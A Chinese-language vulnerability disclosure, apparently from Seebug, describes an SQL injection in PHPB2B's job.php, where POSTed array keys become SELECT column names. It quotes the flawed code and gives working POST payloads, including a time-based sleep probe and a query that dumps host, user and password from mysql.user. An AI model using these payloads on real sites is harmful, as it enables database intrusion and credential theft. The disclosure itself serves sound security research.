### 简要描述：
RT
### 详细说明：
```
注入链接：/virtual-office/job.php
注入参数：job
漏洞代码：（第52行开始）
if (!empty($_POST['job']) && $_POST['save']) {
$vals = $_POST['job'];
pb_submit_check('job'); // 验证post提交的token,可直接使用get访问job.php后在网页源码中搜索formhash获取
$now_job_amount = $job->findCount(null, "created>".$today_start." AND member_id=".$the_memberid);
if (isset($_POST['id'])) {
$id = $_POST['id'];
}
if(!empty($_POST['expire_time'])) {
$vals['expire_time'] = Times::dateConvert($_POST['expire_time']);
}
$check_job_update = $g['job_check'];
if ($check_job_update=="0") {
$vals['status'] = 1;
$message_info = 'msg_wait_success';
}else {
$vals['status'] = 0;
$message_info = 'msg_wait_check';
}
$vals['industry_id'] = PbController::getMultiId($_POST['industry']['id']);
$vals['area_id'] = PbController::getMultiId($_POST['area']['id']);
if(!empty($id)){
$vals['modified'] = $time_stamp;
unset($vals['created']);
$result = $job->save($vals, "update", $id, null, "member_id=".$the_memberid);
$vals = $_POST['job'];从post中获取job数组参数，并将$vals数组传入save函数，save函数中通过以下以下代码构造SQL语句：(libraries/core/model.php)
$keys = array_keys($posts);
$cols = implode($keys,",");
$tbname = (is_null($tbname))? $this->getTable():trim($tbname);
$this->table_name = $tbname;
if(!empty($id)){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";
在save函数中$vals数组的键名会被拆分为select语句的列名列表$cols,由于$vals可控导致sql注入，且是数组键名，因此可绕过代码中的注入检测
```
### 漏洞证明：
```
漏洞测试：
首先直接访问：http://127.0.0.1/phpb2b/virtual-office/job.php查看网页源代码获取页面token
<input type="hidden" name="formhash" value="8ab96122454d5f50" id="FormHash">
```
[<img src="https://images.seebug.org/upload/201502/09110949ca4552ecb3b7536022523b2f60ae1def.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/09110949ca4552ecb3b7536022523b2f60ae1def.png)
```
获取token后就可以进行SQL注入
http://127.0.0.1/phpb2b/virtual-office/job.php
Post:
job[if((length(user())>61),1,sleep(5))%23]=1&save=1&id=1&formhash=8ab96122454d5f50
为了方便调试，在代码里把执行的SQL语句打印出来
```
[<img src="https://images.seebug.org/upload/201502/09110936eae8f7d94a4e694631b2d50273e4e61c.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/09110936eae8f7d94a4e694631b2d50273e4e61c.png)
```
Mysql日志：
```
[<img src="https://images.seebug.org/upload/201502/0911092864ddccf8bded520eab1462b57583fcd6.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/0911092864ddccf8bded520eab1462b57583fcd6.png)
```
成功执行延时注入
可无视SQL注入检测，执行SQL语句
http://127.0.0.1/phpb2b/virtual-office/job.php
Post:
job[host,user,password/**/from/**/mysql.user/**/where/**/1>0/**/limit/**/0,1%23]=1&save=1&id=1&formhash=8ab96122454d5f50
```
[<img src="https://images.seebug.org/upload/201502/0911091542e1bc9fcb3c879c20eb1f96d9fb5151.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/0911091542e1bc9fcb3c879c20eb1f96d9fb5151.png)
```
Mysql日志：
```
[<img src="https://images.seebug.org/upload/201502/091109050ba39795ae04fe0f1cf611bccd770d02.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/091109050ba39795ae04fe0f1cf611bccd770d02.png)
```
```
京公网安备 11010502034610号
暂无评论